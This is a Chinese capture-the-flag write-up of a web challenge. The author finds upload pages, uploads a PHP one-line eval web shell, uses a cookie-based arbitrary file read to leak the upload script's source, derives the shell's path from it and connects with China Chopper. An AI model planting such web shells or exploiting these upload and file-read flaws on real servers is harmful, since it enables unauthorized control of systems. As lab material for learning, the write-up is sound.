這道題也是借助大佬的幫助才成功,具體我們來看:
既然人家掃描發現后台目錄有文件上傳,我們也不能落后,順便拿出了傳說中的御劍,並進行一波掃描:
發現了幾個比較有用的目錄,特別是upload1.php跟upload2.php兩個上傳頁面
我們先來訪問upload1.php:
點擊確定后是upload2.php,竟然是一片空白
不過中間好像有個上傳的頁面一閃而過,我們用burp抓包,來一頁一頁看頁面
果然有這個頁面,但是抓包的cookie引起了我們的注意:
Cookie: uploadmd5=verify%2F5a9300926f7fc020.txt
我們查看源代碼:
竟然還有一個隱藏的提交表單
<input type="hidden" name="verify" value="5a9300926f7fc020"/>
我們解碼這個 : 5a9300926f7fc020 -----> 結果是 : 1524990922
感覺好像跟題目沒有一點關系的好吧
但是我們又突然發現它是以 .txt 結尾的,這是不是會存在任意文件讀取漏洞,我們稍后嘗試,我們進行下一步上傳
我們直接構造 1.php 內容為 <?php @eval($_POST["joker"]);?> 進行上傳
太棒了,我們直接用菜刀鏈接,等等,上傳路徑去哪里了......
分析數據包可能是upload_file.php....我們訪問試一下
mmp,什么鬼....就卡了好久好久...
突然想到還有一個可能包含任意文件讀取的點,我們重新抓包
把 verify%2F5a9300926f7fc020 ------> upload_file.php
激動啊,我竟然看到了源代碼,我們記錄下來
<?php $path="uploadfile/";//上傳路徑 $verify=$_POST["verify"]; $time=date("Ymd"); if($_FILES["filename"]["name"]) { $file1=$_FILES["filename"]["name"]; $file2 = $path.$time.'_'.$verify.'_'.$file1; $flag=1; } if($flag) $result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2); if($result) echo "上傳成功!"; ?>
發現包含了上傳路徑!!!good!!!
$result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);
關鍵在這一句,$file2 可能保存的就是文件的上傳路徑
$file2 = $path.$time.'_'.$verify.'_'.$file1;
其中: $path="uploadfile/"
$verify=$_POST["verify"]; 我想到了那個隱藏的提交表單,其中value="5a9300926f7fc020"
$time=date("Ymd"); Ymd不就年月日,那今天就是20180429
這樣一來上傳的路徑不就是 admin/uploadfile/20180429_5a9300926f7fc020_1.php
我們訪問,並用菜刀鏈接:
后來才發現還有upload.php,御劍估計老了,我們用任意代碼的漏洞查看
竟然是cookie的生成過程,哈哈哈
到此為止,掌握方法,順便告訴我們cookie的重要性